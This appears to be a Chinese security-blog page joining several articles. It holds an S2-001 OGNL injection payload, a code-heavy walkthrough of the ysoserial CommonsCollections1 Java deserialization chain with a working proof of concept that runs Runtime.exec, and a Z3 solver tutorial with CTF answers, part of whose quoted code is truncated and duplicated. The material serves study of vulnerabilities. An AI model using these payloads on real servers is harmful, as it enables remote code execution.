%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
但此时并没有停止解析,而是递归的解析了我们恶意的ognl表达式,此时我们将得到:
tomcatBinDir{/Users/hhhm/Downloads/apache-tomcat-7.0.105/bin}
此时就达成了代码执行。
Apache Commons Collections1
前面通过s2-001对idea代审有一个初步了解,现在审审热门的Apache Commons Collections,我这里审的是yso的链1。
yso指的是:ysoserial https://github.com/frohoff/ysoserial
环境配置
具体的不多说,关于java反序列化的知识p神有专门的一系列java漫谈,我这里就再叨叨一下环境。
我们把项目从github上clone下来后,idea打开我们选中项目里面的pom.xml
此时应该是会自动maven导包的,然后我们可以在idea里面选择pom.xml右键如下图下载源码:
我们单独测试payload时可以直接运行payload,其默认为calc.exe,那么我在macos上因为计算器的路径不同,就需要修改一下:
我本地用的jdk版本时1.8u66,(链1在8u71后就会触发失败了),那么我们再运行就可以成功弹出计算器了,那么我们就开始分析这条链。
分析
给出的链整体是如下图:
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
链是从readObject开始的,并且可以看到这条链出现了大量的transform,先讲讲这是什么。
transform方法是Transformer接口所定义的是将输入转为输出的一个方法,通常该Gadget都是主要围绕着ConstantTransformer、InvokerTransformer、ChainedTransformer等Transformer的实现类。
因为有具体的链,所以我个人觉得从后往前讲比较容易把整条链串起来,先对代码一块一块拆开分析一下。
先看看这部分:
c.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
这一部分都是先前说过的Transformer实现类,可以看到ChainedTransformer的会先被调用,而ChainedTransformer的transform方法如下:
private final Transformer[] iTransformers;
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
iTransformers是一个Transformer类数组,看得出来这个transform的作用就是调用该数组内的每个对象的transform,并且将上一个调用transform的结果作为下一个调用transform方法的参数,以此来达成链式调用的形式,而我们的iTransformers则是ChainedTransformer的构造器的一个参数:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
这意味着我们是能够控制这个参数,漏洞利用的最需要的就是参数可控,这里就满足了,继续看会发现有一个ConstantTransformer以及三个InvokerTransformer是处于同一级别的,从payload可以看出来他们被放在了前面说的参数可控的数组内:
这里的最后一个ConstantTransformer是可以去掉的(这里估计p神的说法是为了隐蔽了启动进程的日志特征,不必过分纠结),因为我们的链只到第三个invoke就完事了,exec大家都很眼熟了,先看看第一个实现类的transform方法有什么用:
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
看看transform,其实是去return我们传入的Runtime.class了。
下面的关键就是InvokerTransformer,来看看其transform方法:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
可以见得关键在三行代码:
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
//实际的值
Class cls = input.getClass();
Method method = cls.getMethod('getMethod', new Class[] {
String.class, Class[].class });
return method.invoke(Runtime.class, new Object[] {
"getRuntime", new Class[0] });
我们要的只是return的值,对比一下会发现input为上一次被调用的transform方法的返回值,iMethodName,iParamTypes以及iArgs为我们在调用构造函数时传入的值,这里可能看起来有点绕,先了解一下invoke吧:
对于invoke,若方法为静态方法,则传入的为class类;否则为类对象,上面的getRuntime便是静态方法。
看得出来这里是先从Runtime.class,的getmethod中获取到getmethod,然后从getmethod中调用invoke,因为getRuntime无参数,所以传入一个`new Class[0],后续的链也是同样的分析方式,重点需要理解清楚反射到底是什么意思。
这里给一个反射的payload对照一下:
Class clazz = Runtime.class;
Object rt = clazz.getMethod("getRuntime").invoke(clazz);
clazz.getMethod("exec", String.class).invoke(rt,"calc");
整理一下目前的链为:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[] { "calc" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
然后继续回看刚刚没看完的链:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
LazyMap.get(),直接上源码看起来就很容易懂的了:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
很明显的看到了transform,key可控,那么我们前面的ChainedTransformer利用条件的transform就有了。
然而这里的构造器是protected的,但注意到有一个decorate方法(是一种设计模式,看名字应该是装饰模式,没有具体了解)。
那么到这里我们的payload就增加为:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[] { "calc" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
lazyMap.get(transformerChain);
感兴趣的读者可以试试现在是不是可以弹出计算器了,然而这里又产生了一个问题,怎么调用map的get方法(笔者这上面的payload是手动动调用了get方法),强悍的yso作者找到了AnnotationInvocationHandler类,仔细看看这块代码做了什么:
private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
······
Map map = annotationType.memberTypes();
for (Map.Entry entry : this.memberValues.entrySet()) {
String str = (String)entry.getKey();
Class clazz = (Class)map.get(str);
if (clazz != null) {
Object object = entry.getValue();
if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))
entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember((Method)annotationType.members().get(str)));
}
}
}
他重写了readObject方法,然而会发现这里并没有链里面的invoke,事实上这里是使用了动态代理:
jdk为我们的生成了一个叫$Proxy0(这个名字后面的0是编号,有多个代理类会一次递增)的代理类,这个类文件时放在内存中的,我们在创建代理对象时,就是通过反射获得这个类的构造方法,然后创建的代理实例。通过对这个生成的代理类源码的查看,我们很容易能看出,动态代理实现的具体过程。
我们可以对InvocationHandler看做一个中介类,中介类持有一个被代理对象,在invoke方法中调用了被代理对象的相应方法。通过聚合方式持有被代理对象的引用,把外部对invoke的调用最终都转为对被代理对象的调用。
代理类调用自己方法时,通过自身持有的中介类对象来调用中介类对象的invoke方法,从而达到代理执行被代理对象的方法。也就是说,动态代理通过中介类实现了具体的代理功能。
也就是说,AnnotationInvocationHandler是一个中介类,我们调用了this.memberValues.entrySet()的时候会调用中介类的invoke方法,而调用时会先调用重写的方法,看起来很复杂,事实上可以理解为php里面的__call方法。
看看中介类的invoke:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap) {
Class[] arrayOfClass = paramClass.getInterfaces();
if (!paramClass.isAnnotation() || arrayOfClass.length != 1 || arrayOfClass[false] != Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = paramClass;
this.memberValues = paramMap;
}
public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) {
······
Object object = this.memberValues.get(str); //调用了get方法
if (object == null)
throw new IncompleteAnnotationException(this.type, str);
if (object instanceof ExceptionProxy)
throw ((ExceptionProxy)object).generateException();
if (object.getClass().isArray() && Array.getLength(object) != 0)
object = cloneArray(object);
return object;
}
梳理一下从上往下看就是调用AnnotationInvocationHandler的readObject方法时会调用到memberValues也就是代理类的entrySet,然后就会去调用中介类的invoke方法,invoke方法里面又会去调用memberValues的get方法,此时就与前面的map需要get连上来了。
这里给一下反射类的非公有构造器的方法:
Class clazz = Class.forName("java.lang.Runtime");
Constructor c = clazz.getDeclaredConstructor();
c.setAccessible(true);
clazz.getMethod("exec",String.class).invoke(c.newInstance(),"calc");
这里的setAccessible是设置作用域,补充这一点是因为AnnotationInvocationHandler的构造器就是非公有的。
改写一下payload:
package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class InTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[] { "calc" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Override.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
小结
不得不感叹能挖掘出这些漏洞的都是人才,没啥话好说了,只能说一句牛逼。
参考
https://xz.aliyun.com/t/7915p神java安全漫谈
实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111916202700001&pk_campaign=heetian-wemedia
本实验通过Apache Commons Collections 3为例,分析并复现JAVA反序列化漏洞。
Z3在逆向中运用
文章共计7370个词
预计阅读10分钟
来和我一起阅读吧
≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈
介绍
Z3 在工业应用中实际上常见于软件验证、程序分析等。然而由于功能实在强大,也被用于很多其他领域。CTF 领域来说,能够用约束求解器搞定的问题常见于密码题、二进制逆向、符号执行、Fuzzing 模糊测试等。此外,著名的二进制分析框架 angr 也内置了一个修改版的 Z3。
官方使用文档:https://rise4fun.com/z3/tutorialcontent/guide
z3py 功能手册:https://z3prover.github.io/api/html/namespacez3py.html
z3py 使用文档:https://ericpony.github.io/z3py-tutorial/guide-examples.htm
z3 所使用的语法标准:http://smtlib.cs.uiowa.edu/papers/smt-lib-reference-v2.6-r2017-07-18.pdf
安装
这里安装的是 python 库版本,编译好的二进制版本在 Github 下载。https://github.com/Z3Prover/z3/releases
简单使用
from z3 import *
x = Int('x')#设置整型变量x
y = Int('y')#设置整型变量y
solve(x > 2, y < 10, x + 2*y == 7)#写入方程
# [y = 0, x = 7]
进阶使用
设置变量
批量设置变量见补充
Int - 整数型
# 声明单个变量
x = Int('x')
# 声明多个变量
y,z = Ints('y z')
| 运算需要初始化为Int变量
Real - 实数型
# 声明单个变量
x = Real('x')
# 声明多个变量
y,z = Reals('y z')
BitVec - 向量(位运算)
# 声明单个 16 位的变量
x = BitVec('x',16)
# 声明多个 16 位的变量
y,z = BitVecs('y z',16)
只有 BitVec 变量可以进行异或
solver.add(BitVec('x',8)^BitVec('y',8)==5)
BitVec 变量值之间可进行>或<或=或>=或<=的比较
BitVec('a',8)>=BitVec('b',8)
BitVec('a',8)<=BitVec('b',8)
BitVec('a',8)<=9
BitVec('a',8)==9
BitVecVal 值之间不能进行>或<比较,只能转换成 python 认识的类型才可以比较
if BitVecVal(98,8)>BitVecVal(97,8)#错误,不是python类型
if BitVecVal(98,8)==98:
if BitVecVal(98,8).as_long()>97
if BitVecVal(98,8).as_long()>BitVecVal(97,8).as_long()
变量设置的类型可能会影响到最后求解的结果。可以先 check 一下看看有没有解,然后再判断是否需要切换变量的类型。
Solver 对象
实际做题时,约束条件肯定不会想上面例子这么少,所以需要实例化一个 Solver() 对象,方便我们添加更多的约束条件。
创建约束求解器:solver = Solver()
添加约束条件
一行一个约束条件,这里的约束条件就是方程等式:
solver.add(x**2+y**2==74)
solver.add(x**5-y==z)
# [y = -7, x = 5, z = 3132]
z3 中不允许列表与列表之间添加==约束条件:
判断是否有解
if solver.check() == sat:
print("solver")
else:
print("no solver")
求解并输出
ans = solver.model()
print(ans)
补充
限制结果为可见字符
通常如果是做题的话,解密出来很可能是 flag ,也就是 ascii 码,所以为了进一步约束范围可以给每一个变量都加上额外的一条约束,约束其结果只能在可见 ascii 码范围以内:
solver.add(x < 127)
solver.add(x >= 32)
快速添加变量
添加 50 个 Int 变量 s :
s=[Int('s%d' % i) for i in range(50)]
添加 50 个 Real 变量 s :
s=[Real('s%d' % i) for i in range(50)]
添加 50 个 16 位 BitVec 变量 s :
s=[BitVec ('s%d' % i,16) for i in range(50)]
在约束条件中用下标索引使用:
solver.add(s[18] * s[8] == 5)
solver.add(s[4] * s[11] == 0)
将结果按顺序打印出来:
这是使用列表管理变量的好处,如果不使用列表 print(answer) 输出的结果是无序的。
answer=solver.model()
#print(answer)
result="".join([str(answer[each]) for each in s])
print(result)
练习例题
2020 羊城杯 login
题目前面还有一步逆向 pyinstaller 打包的 exe 文件,这里不赘述直接给出源码:
import sys
input1 = input('input something:')
if len(input1) != 14:
print('Wrong length!')
sys.exit()
code = []
for i in range(13):
code.append(ord(input1[i]) ^ ord(input1[i + 1]))
code.append(ord(input1[13]))
a1 = code[2]
a2 = code[1]
a3 = code[0]
a4 = code[3]
a5 = code[4]
a6 = code[5]
a7 = code[6]
a8 = code[7]
a9 = code[9]
a10 = code[8]
a11 = code[10]
a12 = code[11]
a13 = code[12]
a14 = code[13]
if ((((a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5) + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36) + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60) + a14 * 29 == 22748) & ((((a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25) + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66) + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39)
print('flag is GWHT{md5(your_input)}')
print('Congratulations and have fun!')
else:
print('Sorry,plz try again...')
import sys
input1 = input('input something:')
if len(input1) != 14:
print('Wrong length!')
sys.exit()
code = []
for i in range(13):
code.append(ord(input1[i]) ^ ord(input1[i + 1]))
code.append(ord(input1[13]))
a1 = code[2]
a2 = code[1]
a3 = code[0]
a4 = code[3]
a5 = code[4]
a6 = code[5]
a7 = code[6]
a8 = code[7]
a9 = code[9]
a10 = code[8]
a11 = code[10]
a12 = code[11]
a13 = code[12]
a14 = code[13]
if ((((a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5) + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36) + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60) + a14 * 29 == 22748) & ((((a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25) + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66) + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39)
print('flag is GWHT{md5(your_input)}')
print('Congratulations and have fun!')
else:
print('Sorry,plz try again...')
分析之后确定需要先求解出 a1~a14 的值,然后再经过一次异或获得 flag 。
这里我们手动添加多个变量,因为源码中的方式形式为 ax 。如果我们用列表管理变量,方程需要手动修改,消耗更多时间得不偿失。z3 脚本:
这里我们需要将有移位运算的那一条方程注释掉,因为 Int 没有这种运算方法。然后我们知道 a1~a14 是两两整数异或而来,所以加上约束大于等于 0 ,否则由于缺少一条方程解出来的值含有负数。
如果不想注释那条方程,完全使用全部方程,那么就将变量定义为:BitVec('an', 16) ,那么就能够使用移位运算。
然后就是还原异或加密:
a1 = 119
a2 = 24
a3 = 10
a4 = 7
a5 = 104
a6 = 43
a7 = 28
a8 = 91
a9 = 52
a10 = 108
a11 = 88
a12 = 74
a13 = 88#121
a14 = 33
code = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]
code[0] = a3
code[1] = a2
code[2] = a1
code[3] = a4
code[4] = a5
code[5] = a6
code[6] = a7
code[7] = a8
code[9] = a9
code[8] = a10
code[10] = a11
code[11] = a12
code[12] = a13
code[13] = a14
flag = []
flag.append(chr(code[13]))
for i in list(range(13))[::-1]:
code[i] = (code[i] ^ code[i + 1])
for i in code:
print(chr(i),end='')
#flag:U_G07_th3_k3y!
2020 CISCN z3
用 IDA 分析题目得知,程序将输入值经过运算后与 Dst 的密文对比,也就是知道解,求出未知数。
Dst 定义是 int 型(8 字节),将密文提取出来:
de = [0x4F17,0x9CF6,0x8DDB,0x8EA6,0x6929,0x9911,0x40A2,0x2F3E,0x62B6,0x4B82,0x486C,0x4002,0x52D7,0x2DEF,0x28DC,0x640D,0x528F,0x613B,0x4781,0x6B17,0x3237,0x2A93,0x615F,0x50BE,0x598E,0x4656,0x5B31,0x313A,0x3010,0x67FE,0x4D5F,0x58DB,0x3799,0x60A0,0x2750,0x3759,0x8953,0x7122,0x81F9,0x5524,0x8971,0x3A1D]
这里还是用手动申请变量,因为避免修改方程表达式。这道例题可以用 Int 也可以用 BitVec ,这里就用 BitVec
from z3 import *
de = [0x4F17,0x9CF6,0x8DDB,0x8EA6,0x6929,0x9911,0x40A2,0x2F3E,0x62B6,0x4B82,0x486C,0x4002,0x52D7,0x2DEF,0x28DC,0x640D,0x528F,0x613B,0x4781,0x6B17,0x3237,0x2A93,0x615F,0x50BE,0x598E,0x4656,0x5B31,0x313A,0x3010,0x67FE,0x4D5F,0x58DB,0x3799,0x60A0,0x2750,0x3759,0x8953,0x7122,0x81F9,0x5524,0x8971,0x3A1D]
v46=BitVec('v46',8)
v47=BitVec('v47',8)
v48=BitVec('v48',8)
v49=BitVec('v49',8)
v50=BitVec('v50',8)
v51=BitVec('v51',8)
v52=BitVec('v52',8)
v53=BitVec('v53',8)
v54=BitVec('v54',8)
v55=BitVec('v55',8)
v56=BitVec('v56',8)
v57=BitVec('v57',8)
v58=BitVec('v58',8)
v59=BitVec('v59',8)
v60=BitVec('v60',8)
v61=BitVec('v61',8)
v62=BitVec('v62',8)
v63=BitVec('v63',8)
v64=BitVec('v64',8)
v65=BitVec('v65',8)
v66=BitVec('v66',8)
v67=BitVec('v67',8)
v68=BitVec('v68',8)
v69=BitVec('v69',8)
v70=BitVec('v70',8)
v71=BitVec('v71',8)
v72=BitVec('v72',8)
v73=BitVec('v73',8)
v74=BitVec('v74',8)
v75=BitVec('v75',8)
v76=BitVec('v76',8)
v77=BitVec('v77',8)
v78=BitVec('v78',8)
v79=BitVec('v79',8)
v80=BitVec('v80',8)
v81=BitVec('v81',8)
v82=BitVec('v82',8)
v83=BitVec('v83',8)
v84=BitVec('v84',8)
v85=BitVec('v85',8)
v86=BitVec('v86',8)
v87=BitVec('v87',8)
v4=de[0]
v5=de[1]
v6=de[2]
v7=de[3]
v8=de[4]
v9=de[5]
v10=de[6]
v11=de[7]
v12=de[8]
v13=de[9]
v14=de[10]
v15=de[11]
v16=de[12]
v17=de[13]
v18=de[14]
v19=de[15]
v20=de[16]
v21=de[17]
v22=de[18]
v23=de[19]
v24=de[20]
v25=de[21]
v26=de[22]
v27=de[23]
v28=de[24]
v29=de[25]
v30=de[26]
v31=de[27]
v32=de[28]
v33=de[29]
v34=de[30]
v35=de[31]
v36=de[32]
v37=de[33]
v38=de[34]
v39=de[35]
v40=de[36]
v41=de[37]
v42=de[38]
v43=de[39]
v44=de[40]
v45=de[41]
s=Solver()
s.add(v4 == 34 * v49 + 12 * v46 + 53 * v47 + 6 * v48 + 58 * v50 + 36 * v51 + v52)
s.add(v5 == 27 * v50 + 73 * v49 + 12 * v48 + 83 * v46 + 85 * v47 + 96 * v51 + 52 * v52)
s.add(v6 == 24 * v48 + 78 * v46 + 53 * v47 + 36 * v49 + 86 * v50 + 25 * v51 + 46 * v52)
s.add(v7 == 78 * v47 + 39 * v46 + 52 * v48 + 9 * v49 + 62 * v50 + 37 * v51 + 84 * v52)
s.add(v8 == 48 * v50 + 14 * v48 + 23 * v46 + 6 * v47 + 74 * v49 + 12 * v51 + 83 * v52)
s.add(v9 == 15 * v51 + 48 * v50 + 92 * v48 + 85 * v47 + 27 * v46 + 42 * v49 + 72 * v52)
s.add(v10 == 26 * v51 + 67 * v49 + 6 * v47 + 4 * v46 + 3 * v48 + 68 * v52)
s.add(v11 == 34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59)
s.add(v12 == 27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59)
s.add(v13 == 24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59)
s.add(v14 == 78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59)
s.add(v15 == 48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59)
s.add(v16 == 15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59)
s.add(v17 == 26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59)
s.add(v18 == 34 * v63 + 12 * v60 + 53 * v61 + 6 * v62 + 58 * v64 + 36 * v65 + v66)
s.add(v19 == 27 * v64 + 73 * v63 + 12 * v62 + 83 * v60 + 85 * v61 + 96 * v65 + 52 * v66)
s.add(v20 == 24 * v62 + 78 * v60 + 53 * v61 + 36 * v63 + 86 * v64 + 25 * v65 + 46 * v66)
s.add(v21 == 78 * v61 + 39 * v60 + 52 * v62 + 9 * v63 + 62 * v64 + 37 * v65 + 84 * v66)
s.add(v22 == 48 * v64 + 14 * v62 + 23 * v60 + 6 * v61 + 74 * v63 + 12 * v65 + 83 * v66)
s.add(v23 == 15 * v65 + 48 * v64 + 92 * v62 + 85 * v61 + 27 * v60 + 42 * v63 + 72 * v66)
s.add(v24 == 26 * v65 + 67 * v63 + 6 * v61 + 4 * v60 + 3 * v62 + 68 * v66)
s.add(v25 == 34 * v70 + 12 * v67 + 53 * v68 + 6 * v69 + 58 * v71 + 36 * v72 + v73)
s.add(v26 == 27 * v71 + 73 * v70 + 12 * v69 + 83 * v67 + 85 * v68 + 96 * v72 + 52 * v73)
s.add(v27 == 24 * v69 + 78 * v67 + 53 * v68 + 36 * v70 + 86 * v71 + 25 * v72 + 46 * v73)
s.add(v28 == 78 * v68 + 39 * v67 + 52 * v69 + 9 * v70 + 62 * v71 + 37 * v72 + 84 * v73)
s.add(v29 == 48 * v71 + 14 * v69 + 23 * v67 + 6 * v68 + 74 * v70 + 12 * v72 + 83 * v73)
s.add(v30 == 15 * v72 + 48 * v71 + 92 * v69 + 85 * v68 + 27 * v67 + 42 * v70 + 72 * v73)
s.add(v31 == 26 * v72 + 67 * v70 + 6 * v68 + 4 * v67 + 3 * v69 + 68 * v73)
s.add(v32 == 34 * v77 + 12 * v74 + 53 * v75 + 6 * v76 + 58 * v78 + 36 * v79 + v80)
s.add(v33 == 27 * v78 + 73 * v77 + 12 * v76 + 83 * v74 + 85 * v75 + 96 * v79 + 52 * v80)
s.add(v34 == 24 * v76 + 78 * v74 + 53 * v75 + 36 * v77 + 86 * v78 + 25 * v79 + 46 * v80)
s.add(v35 == 78 * v75 + 39 * v74 + 52 * v76 + 9 * v77 + 62 * v78 + 37 * v79 + 84 * v80)
s.add(v36 == 48 * v78 + 14 * v76 + 23 * v74 + 6 * v75 + 74 * v77 + 12 * v79 + 83 * v80)
s.add(v37 == 15 * v79 + 48 * v78 + 92 * v76 + 85 * v75 + 27 * v74 + 42 * v77 + 72 * v80)
s.add(v38 == 26 * v79 + 67 * v77 + 6 * v75 + 4 * v74 + 3 * v76 + 68 * v80)
s.add(v39 == 34 * v84 + 12 * v81 + 53 * v82 + 6 * v83 + 58 * v85 + 36 * v86 + v87)
s.add(v40 == 27 * v85 + 73 * v84 + 12 * v83 + 83 * v81 + 85 * v82 + 96 * v86 + 52 * v87)
s.add(v41 == 24 * v83 + 78 * v81 + 53 * v82 + 36 * v84 + 86 * v85 + 25 * v86 + 46 * v87)
s.add(v42 == 78 * v82 + 39 * v81 + 52 * v83 + 9 * v84 + 62 * v85 + 37 * v86 + 84 * v87)
s.add(v43 == 48 * v85 + 14 * v83 + 23 * v81 + 6 * v82 + 74 * v84 + 12 * v86 + 83 * v87)
s.add(v44 == 15 * v86 + 48 * v85 + 92 * v83 + 85 * v82 + 27 * v81 + 42 * v84 + 72 * v87)
s.add(v45 == 26 * v86 + 67 * v84 + 6 * v82 + 4 * v81 + 3 * v83 + 68 * v87)
print(s.check())
flag=""
if s.check() == sat:
m = s.model()
print(m)
else:
print("no answer")
flag = ""
for d in m.decls():
print("%s = %s" % (d.name(), m[d]))
极客大挑战 REConvolution
这条题目演示用批量申请堆方法
题目关键函数:
加密过程并不是前两题的方程了,而是循环异或,没有修改方程变量名的问题,所以我们可以用 for 循环申请变量。
数独
z3 还能处理数独问题,下面是官方 demo :
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : skye231@foxmail.com
from z3 import *
# 9x9整数变量矩阵
X = [ [ Int("x_%s_%s" % (i+1, j+1)) for j in range(9) ]
for i in range(9) ]
# 每个单元格包含{1,…,9}中的值
cells_c = [ And(1 <= X[i][j], X[i][j] <= 9)
for i in range(9) for j in range(9) ]
# 每行最多包含一个数字一次
rows_c = [ Distinct(X[i]) for i in range(9) ]
# 每列最多包含一个数字
cols_c = [ Distinct([ X[i][j] for i in range(9) ])
for j in range(9) ]
# 每个3x3正方形最多包含一个数字
sq_c = [ Distinct([ X[3*i0 + i][3*j0 + j]
for i in range(3) for j in range(3) ])
for i0 in range(3) for j0 in range(3) ]
sudoku_c = cells_c + rows_c + cols_c + sq_c
# 数独实例,我们用'0'表示空单元格
instance = ((0,0,0,0,9,4,0,3,0),
(0,0,0,5,1,0,0,0,7),
(0,8,9,0,0,0,0,4,0),
(0,0,0,0,0,0,2,0,8),
(0,6,0,2,0,1,0,5,0),
(1,0,2,0,0,0,0,0,0),
(0,7,0,0,0,0,5,2,0),
(9,0,0,0,6,5,0,0,0),
(0,4,0,9,7,0,0,0,0))
instance_c = [ If(instance[i][j] == 0,
True,
X[i][j] == instance[i][j])
for i in range(9) for j in range(9) ]
s = Solver()
s.add(sudoku_c + instance_c)
if s.check() == sat:
m = s.model()
r = [ [ m.evaluate(X[i][j]) for j in range(9) ]
for i in range(9) ]
print_matrix(r)
else:
print("failed to solve")
参考文章
Z3 学习笔记 https://blog.csdn.net/qq_33438733/article/details/82011892)
z3 solver学习 http://3xp10it.cc/auxilary/2017/11/14/z3-solver%E5%AD%A6%E4%B9%A0/)
实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410002900001&pk_campaign=heetian-wemedia (本实验将通过具体的实例介绍Ollydbg/IDA Pro/PEiD等工具在逆向分析中的基本使用方法,并通过动态调试和静态分析两种方法来找到程序密码。)
逆向入门分析实战(四)
9/14
文章共计1836个词
是逆向入门分析实战系列的第四篇
https://www.yijinglab.com/html/news/news.html?newsId=NEWS-75b-68e6-4f35-951a-5b0f2d1bc70e&pk_campaign=heetian-wemediahttps://www.yijinglab.com/html/news/news.html?newsId=NEWS-730-1b69-4cc3-a2c1-e1c882870460&pk_campaign=heetian-wemediahttps://www.yijinglab.com/html/news/news.html?newsId=NEWS-676-06f2
来和我一起阅读吧
